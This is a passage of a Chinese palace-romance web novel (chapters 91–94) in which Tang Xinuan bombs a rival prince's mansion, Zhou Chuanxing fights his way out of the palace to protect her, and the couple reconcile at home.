“不可能，喜公公这个玩笑可开不得，什么人敢动我睿王府，她不要命了？ 她就算自己不想活了，满门不要了？” 喜公公无奈道：“没有满门了，就一个孤女，她自己就是满门。” 90-100 第91章 喜公公刚汇报完,睿王府出事。 睿王府的管事就找到宫里来了。 “王爷，睿王府没了，不光睿王府没了,两位王妃受伤，两个孩子都没保住……” 睿王忽觉天旋地转，眼前一黑,人险些栽到。 还是距离他最近的朝栎和喜公公，同时扶住了他。 “四哥，没准消息有误……” “本王的两个孩子啊t，“睿王怒目瞪着管事，“什么武器这么厉害，怎么会同时伤到本王两个王妃？” 管事也弄不清楚，“今天园子里两株红梅都开了，两位侧妃约着一起赏梅，好端端的天空忽然飞过来一个大火球，然后就是一声巨响,什么东西炸开了。 两位侧妃幸好离着远，保住了性命,可孩子都没了……” 睿王被朝栎扶着坐到椅子上,一股气血直冲天灵盖，不知道过了多久才逐渐恢复清明。 “什么人干的,有没有抓到？” “没看清什么人，只知道大火球是从姚太傅家门口/.射过去的。” “姚太傅,”睿王恨不得食肉寝皮，“老匹夫欺我太甚！” 睿王府管事：“姚太傅应该弄不出这么大动静……” 皇上卧床将近两年，这才醒过来四五天。 一天比一天刷新他的震惊程度。 都不知道世上有什么东西能一瞬间炸掉一座王府。 正要吩咐殿前指挥使刘将军前去调查，就见刘将军进殿汇报：“皇上,吏部侍郎孙卿兆带了一位姑娘过来，说是抓到炸平睿王府的凶手了。” “快传进来，”睿王忽然起身，指着门口大喊，又是一阵天旋地转，只能扶着椅子缓缓坐下。 楚衍晴和朝栎对视一眼，都有种不好的预感。 昨天晚上听唐兮暖提过炸皇宫，孙卿兆建议她炸睿王府。 这么匪夷所思的事，大家都以为她只是发狠说说。 没想到她胆子比天大，竟然真敢炸了睿王府。 还害死睿王两个没出世的孩子。 这可是灭族大罪。 “王爷，”楚衍晴担心表姐，走到周川行身边委婉求道：“不管我表姐做了什么，都求王爷护她。” 周川行微眯起眸子，目光如炬一般盯着殿门口。 小姑娘不走寻常路，但是炸睿王府，她应该没这个胆子吧。 肯定是孙卿兆撺掇的。 早就知道他是个大坑，果然！ 楚衍诺不关心睿王府，他只想求皇上命令周川行把表妹还给他。 “皇上，微臣……” “皇上，炸平睿王府的姑娘来了。” 喜公公盯着门口，仿佛睿王府是他炸的一般激动。 今天事情多，整个养心殿闹闹哄哄仿佛菜市场。 皇上没听到喜公公刚才提到姑娘的事。 此刻心中颇为惊异：“是个姑娘？” 喜公公回道：“可不是，就是一个小姑娘，老奴刚才听说也吓了一跳。” 孙卿兆和唐兮暖很快来到养心殿外。 孙卿兆停下脚步，叮嘱道：“唐妹，”自从知道唐兮暖是女子，他喊什么都别扭，“一会你什么都别说，只管听我的，保证救出秦王。” 听说能救出二郎，不管什么要求，唐兮暖都能答应。 “我听你的。” 孙卿兆把人打量一遍，笑得老谋深算，“不管谁跟你说什么，你都一口咬定，我不傻的。” 唐兮暖今天穿了一条粉色圆领褂子，搭配同色系的百褶裙，胸口挂着一只打造精良的金项圈，外披银狐大氅。 她人长得漂亮，乍一看就是一个乖巧可爱的小姑娘。 任谁也想不到，刚才竟是她亲手点下去的火引，几乎将睿王府夷为平地。 “重复一遍。” 唐兮暖学着他的样子，“我不傻的。” 孙卿兆捏着下巴打量，“还缺点什么。” 灵机一动，他咬住自己的食指，“学我，这样。” 唐兮暖皱眉，“为什么啊？” 孙卿兆笑道：“听我的准没错，一会儿秦王就跟你回去了。” 听说二郎能回去，唐兮暖毫不犹豫照做。 她咬住拇指。 一双眼睛在雪地里，格外明亮。 孙卿兆嘱咐道，“眼睛往下看，”他找好一个角度的地点，“那里，对，就看那里。” 担心唐兮暖忘了他的叮嘱，重复道：“不管谁说什么，你只管重复‘我不傻的’，说完就咬住自己的手指，其余的事情全看我的。” 两人商议好，随着喜公公进殿。 这么冷的天，周川行只穿一件薄薄的内衣站在殿门口，唐兮暖乍一看见，心疼的想哭。 “二郎……” 她伸手扯自己身上的大氅，被孙卿兆拦住，“唐妹……” 唐兮暖记得孙卿兆的叮嘱，眼泪含在眼底，盯着周川行重复：“我不傻的。” 周川行：“……” 真想一掌劈死孙卿兆，把他的小姑娘教成什么了。 他手上还戴着铁链，下意识想藏起来，可他衣衫单薄，实在无法遮掩。 张了张嘴，终是什么都没说出来。 唐兮暖也注意到他手腕上的铁链，双眼被刺痛，她伸手去摸腰上的玲珑武器。 谁绑的二郎，她就用玲珑杀死谁。 小姑娘的动作实在太明显，周川行怎么可能猜不到，“不可。” 唐兮暖转头看向孙卿兆。 周川行实在无奈，给孙卿兆一个警告。 孙卿兆全身上下就剩心眼子了，怎么可能理解不了。 “唐妹，听我的。” 唐兮暖稍一犹豫，迟疑着放开腰上的玲珑武器。 “表妹——”楚衍诺看见表妹出现在养心殿，急忙赶过去把人拉住，“周川行他现在连自保都不行，你还不死心吗！” 在周川行恨不得杀死他的神情下，他握着唐兮暖的手腕把人扯到皇上面前。 “皇上，求您给微臣做主，我表妹心智异于常人，秦王却把她囚禁在王府，进行惨绝人寰的虐待，他简直不是人。” 皇上着实好奇唐家姑娘。 眼神里充满打量。 小姑娘肤白貌美，颇有沉鱼落雁之姿。 原来二弟竟然喜欢这样的姑娘。 唐兮暖还记得孙卿兆的嘱咐，在表哥表达完诉求后，紧跟着说一句：“我不傻的。” 随后咬住食指。 一个不谙世事异于常人的小姑娘便入了众人的眼。 皇上心情微妙，这唐家姑娘脑子确实有些问题，二弟喜欢？ “孙侍郎，你带唐姑娘所为何事？” 孙卿兆先行礼，“微臣见过皇上，皇上千秋圣安。” 他起身指着唐兮暖：“就是她，炸平了睿王府，还请皇上处罚。” 楚衍诺下意识否认，“不可能，我表妹心智有问题，像个孩童，孙卿兆你别欺人太甚，她连只蚂蚁都杀不死，怎么可能炸平睿王府，她用什么炸？” 睿王听得稀里糊涂，他想挤到唐兮暖身边，奈何唐兮暖左边是楚衍诺，右边是孙卿兆，实在没有他立足之地。 “孙卿兆，楚世子说的对，她一个小姑娘怎么可能炸毁我的睿王府！” 孙卿兆有理有据：“唐姑娘可是秦王最疼爱的女人，”他扯过唐兮暖腰上的玉牌，“这可是秦王的贴身之物，都送给了唐姑娘，想必在场之人都认识这块牌子吧？” 周川行自从回到京城，腰上便挂着一块玉牌子，连彩月楼的记录都画着图案。 此刻养心殿里都是熟人，怎么可能不认识周川行的牌子。 “这是二哥的牌子，”睿王不解，“可这和炸毁我王府什么关系？” 孙卿兆：“唐姑娘就是用这块牌子去军器局调出来的红衣大炮，又命人推到姚太傅府门口，她亲手点的火引，炸毁的睿王府。” 孙卿兆此言一出，所有人的目光都投向唐兮暖。 唐兮暖适时说道：“我不傻的。” 皇上：“……” “就算她不傻，她一个小姑娘，怎么会想到炸毁睿王府，谁指使她的？” 楚衍诺说什么都不信，“皇上明鉴，我表妹就是个傻子，她怎么可能会用大炮，再说她这么柔弱一个小姑娘，怎么能把那么重的大铁疙瘩推走，分明是有人利用她，还请皇上明察。” 睿王的智商和孙卿兆不在一条水平线上。 他早迷糊了。 顺着楚衍诺的话，附和道：“对啊！” 孙卿兆一副这就是事实的神色道：“至于有没人指使，那就要问秦王了，唐姑娘最听他的话，是不是他给什么人传过什么话，让唐姑娘帮他做这种事…… 皇上，微臣建议对唐姑娘用刑。 她一个娇娇弱弱的小姑娘，大刑之下，不怕她不招。” 唐兮暖只有一句话：“我不傻的。” 楚衍诺下意识阻拦，“孙卿兆，你混账，竟然想对一个傻子用刑，你还是不是人！” 睿王看热闹不嫌事大，“皇兄，我睿王府被炸，同时失去两个孩子，还求皇兄为我做主，孙侍郎所言甚是，就应该对这个姓唐的用刑，谁知道她是不是装傻！” 皇上心有迟疑。 楚衍晴担心表姐，跪地求情，“皇上，我表姐一向乖巧懂事，不可能做出这种事，还请皇上明鉴。” 朝栎公主也帮唐兮暖说话，“皇兄t，这其中肯定有什么误会，男子都做不了的事情，唐姑娘一个女子怎么做的了，肯定是有人陷害她。 孙侍郎，你到底弄清楚没有？” 孙卿兆底气十足，“是我亲眼所见，她用秦王的腰牌命人把大炮推到姚府门口，亲手点的火引。 微臣是文臣，之前不知道大炮的威力，是以没有阻止。 否则微臣就是用身体堵住炮口，也绝不让她炸了睿王府。” 睿王满心感激的看一眼孙卿兆。 好人啊！！！ 皇上打量唐兮暖的同时，还看向了周川行。 有人说他养男宠，有人告他虐待傻女，还传言他和兄弟争妻，自己这个做兄长的着实好奇，他心里到底怎么想的。 “来人，把唐家姑娘给朕拉出去，先打五十大板！” 第92章 睿王府被炸,涉及到多条人命，总要给睿王一个交代。 皇上命人对唐兮暖用刑。 楚衍诺慌了，他扑通一声双膝跪地,“皇上饶命，我表妹她只是一个傻子，肯定是谁蛊惑她,她才做的，她完全没有自理能力，还求皇上饶她一条小命。” 楚衍晴也急忙跪地求情，“皇上，我表姐她确实心智有问题，犯傻的时候根本不知道自己在做什么，皇上，求您放过她吧。” 朝栎也没办法眼看着唐兮暖受罚。 “皇兄，这事蹊跷，唐姑娘一个柔弱的小女子,怎么可能做出这种事。” 睿王没想到这么多人给一个傻子求情，怒道：“她的命是命,本王的家人就不是命？ 还有本王那两个没出世的孩子,那可是我们周家的血脉，皇兄,让我亲自行刑，务必让她交代出幕后之人！” 端王赶来晚了,“老四，你想诬赖二哥你就直说，不用威逼一个傻子，别以为我不知道你什么心思！” …… 一时间养心殿里吵得不可开交。 皇上脑袋大出好几圈。 “这谁和谁是一伙的？朕怎么瞧着有点乱。” 他问的是喜公公。 喜公公瞧着也乱,“这楚世子告了秦王，孙侍郎是秦王提拔的，可他也告了秦王，好像又没告秦王，唐姑娘炸了睿王府，楚世子又和睿王吵起来了，秦王和端王因为楚三小姐吵过好几回了，今天…… 皇上，恕老奴老眼昏花，实在瞧不明白。” 喜公公贴身伺候皇上二十多年，人精一样的人物尚且瞧不明白。 皇上刚清醒四五天哪里分辨得出来。 “来人，把唐家女拖出打。” 小姑娘细皮嫩肉，五十大大板下去还能活命吗！ 周川行连戳一下都舍不得。 平时分派四个侍卫，暗卫又派了无数，生怕她磕着碰着，一板子下去都相当于要他的命。 眼看两名侍卫进来押人，他无意识握紧拳头。 双眼赤红，浑身肌肉紧绷，整个人都处于随时爆发的边缘。 “我不傻的，”唐兮暖还在坚持她的观点。 被两个人押着往外走，也没意识到危险来临，目光落在心心念念的二郎身上，既委屈又难过。 “二郎……” 小姑娘眼中含泪，彻底触痛周川行这颗糙汉心。 “放开她！” 他忽然冲两个侍卫呵道。 常年生活在军营中的人，生气的时候声音都比常人粗狂。 又处于极端崩溃的边缘。 这道怒喝仿佛携着破冰之势，劈开两名侍卫的心口。 两人皆是浑身一紧，不由自主松开唐兮暖的手臂。 这一道怒喝不光吓到了两名侍卫，唐兮暖也是不由得一抖。 她悄悄扯了扯周川行的衣袖，“我怕——” 这句软软的柔柔的含着委屈和依赖的“我怕”对周川行来说，仿佛被敌人困于死局，再无突围的希望。 又如兵临城下，他身受重伤，成为众矢之的。 还似他做好万全之策，却被最信任的兄弟泄露，把他暴露在敌人的剑锋之中。 心口受到剧烈震动，比睿王府被炸平还要令人难受。 他握住小姑娘的手腕，把人扯进怀里，紧紧抱住。 生怕他稍一松手，人就会从他眼前消失。 “不怕，有二郎在，谁也不能伤害我家小姑娘一丝一毫。” 唐兮暖忍了好几天，这一刻，泪如雨下。 她伸手去解身上的斗篷，想给二郎披上。 可周川行抱得紧，她抽不开手。 “不哭了，不哭了，”刚才还凶神恶煞的男人，此刻温柔如水。 把大殿内所有人都看晕了。 “什么情况？” “秦王喜欢这个傻子？” “人家不傻的，不是说了吗。” 皇上比众人都晕，“喜公公，你瞧瞧，老二开窍了？” 喜公公一个太监哪懂男女之情，“瞧着是这样。” 两个侍卫被周川行一嗓子吓退，此刻看向皇上征求皇上的意思。 皇上稍一迟疑，“拉出去，打——” “我看谁敢！”周川行一身钢筋铁骨拦在小姑娘面前。 两个侍卫奉命行事，自然要尽职尽责，“王爷，皇命不可违，求您体谅一下我们。” 周川行也不想为难两个侍卫，“皇上，要打打我，五十板子不够那就打一百。” “睿王府被炸，你的刑罚还在后边，不用急着替别人受刑，等她招了，朕另有处罚。” 皇上也是个倔脾气，“来人，把唐家女给朕拉出去。” 两名侍卫不敢违抗圣命，伸手去抓唐兮暖。 周川行眼看着代小姑娘受过这条路走不通，两名侍卫的手很快就要碰到小姑娘，一双眸子仿佛淬了血，出于本能，他忽然抬脚。 眨眼间，两名侍卫便飞了出去。 “周川行，你想谋反吗！”睿王赶过来执行皇命，“来人，将这个悖逆忘祖的畜生擒住。” 殿前指挥使刘将军亲自带人赶过来，将周川行和唐兮暖团团围住。 “秦王，我等执行皇命，”刘将军先礼后兵，“还请王爷不要阻挡。” 唐兮暖是周川行的心尖尖，他宁愿自己被千刀万剐也舍不得小姑娘被人碰一下。 “你们再敢上前一步，休怪本王大开杀戒！” 不管怎么说，周川行都是皇上的亲弟弟，又是手握四十万重兵的大将军。 只要他振臂一呼，这天下顷刻间便能易主。 就算在宫里能剿了他。 走出皇宫呢？ 谁能在皇宫里躲一辈子？ 就算自己能躲一辈子，家人呢？ 刘将军既不好违抗圣命，也不想连累兄弟和家人。 “还请王爷不要难为我等。” 刘将军不肯卖命，睿王着急，提剑就往周川行身上刺。 “这等忤逆圣君，背弃祖宗之徒，尔等不就地格杀，全都想灭九族吗！” 睿王带头，很快有立功心切的侍卫出手。 周川行三拳两脚踹开睿王，一边应付一波又一波扑上来的侍卫，一边护着唐兮暖。 碍于手上铁链束缚，招式受限，和他对阵的又全都是大内高手，手臂很快受了一刀。 端王看不过去，打算出手，却被楚衍晴拉住手腕。 “不要去。” 端王不解，“为什么？难道要我看着二哥被人杀死！” 楚衍晴让他把耳朵递过来，耳语几句。 端王明白其意，只能按捺住帮忙的心思。 楚衍诺担心表妹被人所伤，赶过去帮忙。 当然他只针对那些想要伤害唐兮暖的侍卫。 “你们不要过来，要杀去杀周川行，我表妹她只是一个傻子，她什么都不懂。” 楚衍诺挡开冲上来的侍卫，抓着唐兮暖要走，“表妹，跟我走，你留在这里只会拖他后腿。” 唐兮暖使劲推开他，“你不想我拖后腿就去帮忙，否则就给我滚！” 她忽然想起自己腰上的玲珑，赶紧解下来。 刘将军是所有侍卫里武功最高的，对周川行下手也最狠。 唐兮暖瞄着他，干脆利落扣动机关。 关键时刻，周川行还是放了刘将军一马，“小心身后。” 两人同时闪开。 一枚钢针擦着刘将军的肩膀穿过。 好在他躲避及时，只在衣服上穿个大窟窿。 如果他没有及时躲开，射穿的可就是他的胸口了。 刘将军惊出一身冷汗。 不是周川行手下留情，他这条命就交代在这里了。 “谢王爷不杀之恩。” 周川行念他忠于皇上不忍杀之。 唐兮暖可没那么多复杂的想法。 她一次失手，举起玲珑第二次击杀。 周川行急忙赶过去，抢走她手里的玲珑。 “刘将军，唐姑娘这枚武器，铜墙铁壁一样能射穿，不怕死尽管用你们的肉/.体试试。” 有侍卫不知道玲珑的厉害，跃跃欲试。 周川行举起玲珑提醒，“忘了告诉你们，这里有上百枚钢针，运气好能将你们全部穿起来。” 其实只有十一枚。 百枚钢针不过是他恐t吓之言。 当然唐兮暖身上还带了三十枚，只不过换针需要时间。 话音没落，注意到有侍卫上前，他毫不犹豫扣动机关。 只见一枚钢针冲着那名侍卫的腿射过去。 很快那名侍卫便抱着大腿发出撕心裂肺的嚎叫。 鲜血渗透衣袍，眼见着一条腿是废了。 任谁都能看得出来，周川行手下留情，没想要他的命，否则射中的就是心口。 “有不怕死的尽管上，下次本王射的可就不是腿了。” 谁的小命不珍贵。 谁不想平平安安的回去见亲人。 遇到如此厉害的武器，再去拼杀可就有点不知好歹了。 刘将军举手示意大家不要轻举妄动。 周川行从楚衍诺手里抢过小姑娘，“再没人动手，我们可就走了。” 喜公公目睹所有打斗，添油加醋的转述给皇上。 “皇上，秦王不知道从哪弄来一个特别厉害的武器，能发射暗器，一下一个人，再打下去啊，这皇宫的侍卫都被杀光了。” 皇上拉起脸子，不悦道：“行了，让刘将军撤回来吧。” 喜公公：“那秦王……” 皇上不想提他，“朕看他到底想怎么着。” 睿王不甘心就这么放周川行走，跑回去找皇上做主，“皇兄，他指使唐家女炸毁我睿王府，还害死我两个没出世的孩子，请皇兄做主，将禁军交给我，把他捉拿归案。” 皇上让喜公公扶着他躺下，“朕累了，你们爱怎么折腾就怎么折腾，都退下吧。” 语毕，他干脆闭上了眼睛。 睿王气坏了，皇上明摆着装糊涂，不想处置周川行。 他好不容易拿到摄政王位，不能凭着一鼓作气弄死周川行，怎么夺得皇位。 这里没有站他的人，还是去找太妃和皇后帮他想想办法。 端王眼看着二哥和唐兮暖离开皇宫，皇上竟未追究，心里充满了疑惑。 “皇兄到底什么意思？” 没人回答他，他只能问楚衍晴，“刚才你不让我帮忙是为什么？” 周川行和唐兮暖的身影很快消失在皇宫里。 楚衍晴意有所指道：“能困住秦王的，从来不是这皇宫的守卫。” 端王听迷糊了，“那是什么？” 楚衍晴：“是他的心。” 第93章 大周朝四十万大军的指挥权全在周川行手上。 如果是两年前,他的势力还在边关。 自从还朝，他控制住禁军，除了完全忠心皇上的中正之士,他没动，其余全部换成自己人。 文臣他确实一时半会找不出那么多有才之士换掉。 可武将，他领兵十几年,培养将才死侍无数，要多少有多少。 他如果有谋取皇位之心，不过是振臂一呼。 可他没有。 皇上重病，他被赶鸭子上架，不得不得回朝摄政。 偏生皇上没有儿子，他连辅佐之人都找不出来。 皇上虽然几次表示要将皇位传给他。 可他总盼着皇上能好。 再执掌江山十四年。 他累了，余生只想和喜欢的姑娘过着温馨舒适的小日子。 夕阳下，他读书写字，她执笔勾勒间将他落于纸上。 或者她换上男装，被众多学子围于中间,她不厌其烦的回答各种复杂的问题。 而他就在不远处，望着她自信张扬的眉眼。 再或者,他们执手踩着积雪,发出咯吱咯吱的音符，小姑娘偶尔调皮,抓起雪球扔进他脖子里，他做出凶巴巴的表情去追。 …… 光是想想,都能让他觉得幸福。 “二郎，谁给绑的铁链，”唐兮暖摸着冰凉的铁链，寒风刺骨,恨意陡升，“我要杀了他。” 周川行晃晃两手，冬日里的铁器发出哗啦哗啦的响动。 “一点都不碍事。” 唐兮暖还是心疼，“刚才他们欺负你绑着手还没有武器……” 周川行穿着单薄，手臂又受了刀，此刻血水凝结，刺得唐兮暖双眼疼痛。 “快点走，找大夫给你处理。” 陶罐等人早准备好马车等在宫门口。 看见周川行出来，立刻抱着衣服赶过去给他披上。 此刻宫门口十分热闹。 小倩以及周川行派给唐兮暖的四名侍卫，紫苏、连翘、黄芪和百合全都在。 以及听说周川行被处罚的军中将领。 “王爷，”各个摩拳擦掌，“你再不出来，我等就杀进去了。” 周川行只是被皇兄教育一顿，况且他确实有错。 怎么能因为这么点小事就大逆不道，“谁让你们来的，抓紧回去，以后没有本王命令，不许私自找我！” 唐兮暖帮他把衣服整理好，“二郎，先上车。” 周川行心疼小姑娘在外边走了这么久，“你先上去。” 他话音没落，忽然摔过来一个人。 幸亏他反应快，迅速挡住，否则就砸到小姑娘身上了。 原来在宫门口等候的除周川行的人，还有三四十名武林高手。 他们全都是收到追杀令专程来戳楚衍诺血窟窿的。 周川行和唐兮暖走出皇宫，楚衍诺一直跟在身后。 他一只脚迈出宫门，立刻有武林高手冲上去，也不搭话，提剑就往他身上刺。 毕竟一百两一个血窟窿，这银子赚得不要太轻松。 楚衍诺武功不低，可同时应付好几十个武林高手，很快就被刺了三四剑。 剑剑带血，刀刀刺骨。 楚衍诺一边躲避一边大喊，“你们到底什么人？我和你们无冤无仇，为什么刺杀我？” 连翘都想参与了。 “楚世子，我们家姑娘说了，谁戳你一个血窟窿，就给一百两银子，今天你别想活着离开这里。” “表妹——” 楚衍诺尽力往唐兮暖身边赶，“你对我当真一点情义都没有了？非要致我于死地？” 唐兮暖不理他。 这一刻，他也是绝望到底，“既然如此，”他干脆扔了手中剑，“就让他们杀死我好了。” 魏敏娴惦记楚衍诺受伤未愈，听说他进宫告状急忙赶到宫门口找人。 眼看着一群人围攻楚衍诺，也是急了，竟然用肉身冲上去抵挡。 好在这些武林人士目标很明确，只针对楚衍诺，她倒也没受什么伤。 听说这些武林人士都是唐兮暖找来的，此刻也顾不得国公府小姐的身份，跪到唐兮暖面前连连磕头求饶。 “表妹，看在楚家养你十几年的份上，饶了他吧。 唐姑娘，看在侯爷和侯夫人就一个儿子的份上，留他一命吧。 唐姑娘，我求你了，求你了……” 魏敏娴以头触地，很快就把额头磕破一大片，鲜血染红地面，流到未化的积雪上，红白相映，格外醒目。 唐兮暖恨透了楚衍诺。 她喝过一百九十三碗避子汤。 就戳他一百九十三个血窟窿。 如果他命大还能活，是他的造化。 “我昨天给过他机会，是他自己把路走窄了。” 魏敏娴眼见着唐兮暖不肯原谅，注意到有人提剑刺向楚衍诺胸口，情急之下，她起身扑上去用自己的身体挡住。 鲜血四溅，魏敏娴很快倒在一片血泊中。 “夫人——” 寒风刺骨的冬日，唐兮暖听到楚衍诺发出撕心裂肺的呼救。 也许，这一刻，他该放下了。 “住手吧，”唐兮暖示意连翘。 连翘立刻命所有武林人士停止。 随后她从怀里摸出一沓银票，“楚世子身中三十五个血窟窿，这是三千五百两银票，你们拿去分吧。” 她将银票递出去，马上就要被人拿走时又收回来，抽走两张。 “是谁误伤了魏姑娘，扣除。” 周川行先扶小姑娘上车，随后吩咐陶罐，“帮个忙。” 他指的是魏敏娴。 一个能为自己丈夫毫不犹豫牺牲自己的女子，不该英年早逝。 希望楚世子好好珍惜吧。 “是，”陶罐领命赶过去帮忙。 周川行冷眼扫了紫苏几人一眼。 “你们四个，以后不用跟着我了。” 紫苏等人都慌了，急忙跪地求饶，“王爷，我们错了，我们错了，求您别赶我们，别赶我们。” 连翘跪爬着去抓周川行的衣袍，“王爷，求你别赶我们走，我们错了，什么责罚我们都领。” 周川行面冷如冰，“说，你们错哪了？” 连翘还以为是发追杀令的事，“我不该悬赏武林人士刺伤魏姑娘。” 周川行懒得废话，“我用不起你们，都走。” 语毕他坐进车里。 百合忽然反应过来，死死拦着马车不让走，“王爷，我们不该让唐姑娘一个人进宫，是我们的错。” 周川行脸色这才缓和些，“我是怎么吩咐你们的？你们又是怎么答应我的？” 连翘和百合都怕极了周川行，两个人都不敢说话。 紫苏小心道：“您吩咐我们，要寸步不离的跟着唐姑娘，不管什么时候，她身边都不能没人，我们答应过王爷，保证做到。” 周川行目光如炬，t脸色越发冷硬，“结果呢？” 紫苏：“我们不该让唐姑娘一个人进宫，王爷，我们保证以后再也不会发生这种事了，还请王爷给我们一次机会。” 唐兮暖刚才也以为周川行忽然生气，是因为魏敏娴。 发这么大火，竟然是因为她独自进宫。 她讨好般扯了扯周川行的衣角，“二郎，是我自己要和孙大哥去的，你别怪他们。” 周川行怎么可能不怪，如果皇兄今天真下狠心，小姑娘有个三长两短…… “自己去领责罚。” 这是打算留下四人了。 四人全都松了口气，不过百合不服：“王爷，孙卿兆跟我们发过誓，他保证唐姑娘会平安无恙的出来，我们才同意的。 而且，孙卿兆带了毒药，他说如果唐姑娘有什么危险，他就服毒自尽。” 周川行仍然生气：“我看你还不知道自己错在哪，你领双份处罚。” 注意到百合神色不忿，忍不住骂道：“他孙卿兆那条烂命，就是死一百次也没办法和唐姑娘相比。” 周川行气得手指哆嗦，他使劲落下帘子。 还以为紫苏和黄芪两个沉稳懂事，就是这么给他办事的。 唐兮暖还是第一次看见周川行这么生气。 “二郎……” 她继续扯二郎的衣袖，撒娇。 男人仍然生气，她继续撒娇，“二郎——” 男人还在生气。 她的小脾气也上来了，掀开帘子和紫苏几人说：“你们不许去领处罚，以后还跟着我。” 转而又对周川行说：“我已经哄过你了，再生气，我不理你了。” 周川行能怎么办，他撩开帘子吩咐外边的四个姑娘：“行了，你们回去休息吧。” 回手将小姑娘扯进怀里，“胆子越来越大了，都敢凶我了！” 唐兮暖气咻咻地哼道：“就行你发火，不许我发火，你怎么那么霸道！” 周川行无语道：“你说你有什么理由发火？” 唐兮暖：“你明明能出来，为什么老老实实站在养心殿门口，还穿那么少，又被人绑了铁链子，傻子！” 周川行无奈道：“他是我皇兄，况且又是我有错在先，他罚我不该么。” 唐兮暖：“杀了太师不对吗？他做那么多坏事，杀那么多人。分明是皇上糊涂，否则他该嘉奖你才对。” 周川行拿小姑娘没办法，捏了捏她冻得通红的小鼻子，“你呀，如果你做错事，你兄长罚你还罚不得了？” 唐兮暖想不起小时候和哥哥相处的情形了。 如今哥哥远在北域，想见一面都难。 如果能有机会罚她，哪怕罚的不对，她也是高兴的。 设身处地为二郎想一想，他一直在外打仗，和皇上相处的机会并不多，能罚他，倒也难得。 “二郎，你没错。” 她伸手环住他的劲腰，小脸贴着他的心口，软软糯糯地开口，“就是，我心疼。” 周川行叹了口气，“我家姑娘真好。” 唐兮暖忽然想起一件事，“对了，刘大使把红衣大炮交给我，会被处罚吧？” 周川行让她放心，“我会处理。” 唐兮暖又道：“他一共造出来三枚，另外两枚我找人运到北域去了。” 如今朝事复杂，北域又是危险之地，有两枚红衣大炮坐镇，倒是个保障。 “你做的不错，”周川行不吝夸奖。 第94章 周川行和唐兮暖一起回了王府。 闭门谢客,谁都不见。 虽然没了亲王待遇，可今天是周川行有记忆以来，最高兴的一天。 回府后,他把唐兮暖送回紫兰苑，他则回自己寝宫清理身体。 大半个时辰后，他换好居家服侍,披着半干的长发来到小姑娘的卧室。 屋里加了双倍炭火，温暖舒适。 唐兮暖刚洗漱完，趴在床上摆弄算盘珠子。 前段时间，周川行送她一份特别的礼物。 用极品玉石打造的金镶玉算盘。 每颗算盘珠子都是顶级玉石，质地极好，水头上乘，色泽漂亮。 可以说，每一颗都能单独镶嵌，打造成价值不菲的饰品。 而这样的珠子，竟有一百零五颗,被极大一块羊脂白玉包围在一起。 每七颗由坚硬不会断裂的玉石细柱串起来。 唐兮暖乍一看见这么漂亮的算盘，着实被惊艳到了。 自从她进王府,打算管理起王府账务,就知道王府入不敷出。 而要打造这样一个算盘，价值连城不说,有钱都不一定能买到种水这么好的玉石。 纤细的手指上下拨弄，玉石珠子碰撞在一起发出清脆的响动。 唐兮暖爱不释手。 周川行就是这个时候进屋的。 小姑娘趴在床上,红色轻纱薄衣垂落，露出洁白如玉一般的肩膀。 乌黑飘逸的长发散落在肌肤上。 嫣红、雪白和乌黑形成很强烈的视觉效应。 他不由得微眯起眸子。 小姑娘光着脚丫，调皮的晃动着。 在暖意浓浓的灯光下，格外引人注目。 “在做什么？” 周川行挨着小姑娘坐下。 唐兮暖看见他,将算盘移到旁边，爬起来拢他的头发。 “二郎，我帮你梳头。” 周川行披着长发而来就是有意让她帮自己梳头的。 “好。” 唐兮暖动作有些笨拙，不过她梳得很用心。 “二郎，你头发真好。” 周川行抿唇而笑，“没我家姑娘头发好呢。” 唐兮暖得意地笑，“我这头发当然好了，每次都用很多花瓣，你闻闻香不香？” 小姑娘身上比秋天树上成熟的果子还香甜。 发丝飘过鼻端，周川行怀疑自己醉了。 “香。” 两人好几天没见，自然有很多话要说。 从射死王太师开始，到这些天发生的所有事，唐兮暖想起什么说什么。 小姑娘声音清甜，含着一丝失去依靠的柔弱，软软糯糯的，听在周川行耳朵里，十分满足。 两人说累了，周川行靠着床头歪着，唐兮暖伏在他胸口上，有一下没一下的玩弄着他的手指，两人神情举止既亲密又温馨。 “暖暖，”周川行征求她的意思，“我今晚……可以不走吗？” 今天两人从皇宫杀出来，关系已经公开。 他认定小姑娘非她不娶。 着实没必要再刻意保持距离。 唐兮暖调皮地戳戳他身上的肌肉。 脸颊比火盆里的炭还要热。 “你不想走就不走呗，这里是你家。” 可能是炭火太旺，屋里温度过高，周川行盯着她嫣红的唇瓣，控制不住心猿意马。 伸手点了点她软嫩的脸蛋，“也是你的家。” 唐兮暖喜欢听这话，不过她还有疑惑，“可是我没为这里付出什么，也能当家吗？ 会不会有一天，我哪里做的不对惹你生气，你就会说‘这里是我的家，你给我滚出去’！” 相识不过大半年，周川行不得不感叹，他的小姑娘长大了。 “你要相信二郎，既然认定了你，不管你做什么，二郎都不会说那种话。” “我相信你，”唐兮暖不过是一瞬间想到这种可能，其实根本没过心。 周川行倒是放在了心里。 “等过段时间，所有事情解决后，我把名下一些庄子，良田转到你名下，真有你担心的那种情况发生，有这些东西，也能保你一世衣食无忧。” “二郎，你真好，”唐兮暖好几天没睡好，此刻歪在他怀里心里踏实很快有了困意，“我先睡了，你也早点睡。” 她说个睡很快便在周川行怀里传出均匀的呼吸声。 周川行盯着她安静的睡颜，颇有些无奈。 真是个没良心的小家伙，也不知道给点奖励。 他点点唐兮暖的鼻子。 血液奔涌，心潮澎动，没忍住在小姑娘额头上落下一吻。 注意到她粉嫩的唇瓣，轻轻移过去。 本想浅尝辄止吻一下就放开。 可他像中了什么蛊毒，吻下去就舍不得移开，又担心把人弄醒，不敢太放肆。 好像做贼一般，轻轻重重之间不断调整角度。 馋没解，反倒弄得自己极其狼狈。 …… 皇上身体大不如从前，一天能有三四个时辰清醒。 那么多朝政根本处理不过来。 索性全都交给睿王，他只过问一些重要的。 周川行杀出皇宫第二天晌午他才醒。 照例询问几件政事，看见魏公公鬼鬼祟祟站在门口，把人喊进来。 “魏公公如今在哪个宫里办差？” 毕竟是伺候母后的老人，他身为皇上还是有几分尊重的。 魏公公如实回道：“这两年一直在秦王府办差，这段时间才回宫里伺候皇后娘娘。” 皇上来了兴致，“老二府里的男宠是怎么回事？” 魏公公：“年初二爷认识一个算学天才，把人带回府里请教，什么男宠，没有的事。” 皇上也觉得弟弟不像养男宠的人。 “那唐姑娘呢？” 魏公公将自己所知道的详详细细说给皇上。t “唐姑娘就是十几年前被满门抄斩的唐御史的女儿，像楚世子说的，脑子不太正常，人倒是漂亮。 原本养在楚家，不知道怎么跑出来被二爷捡到了。 一直养在府里。 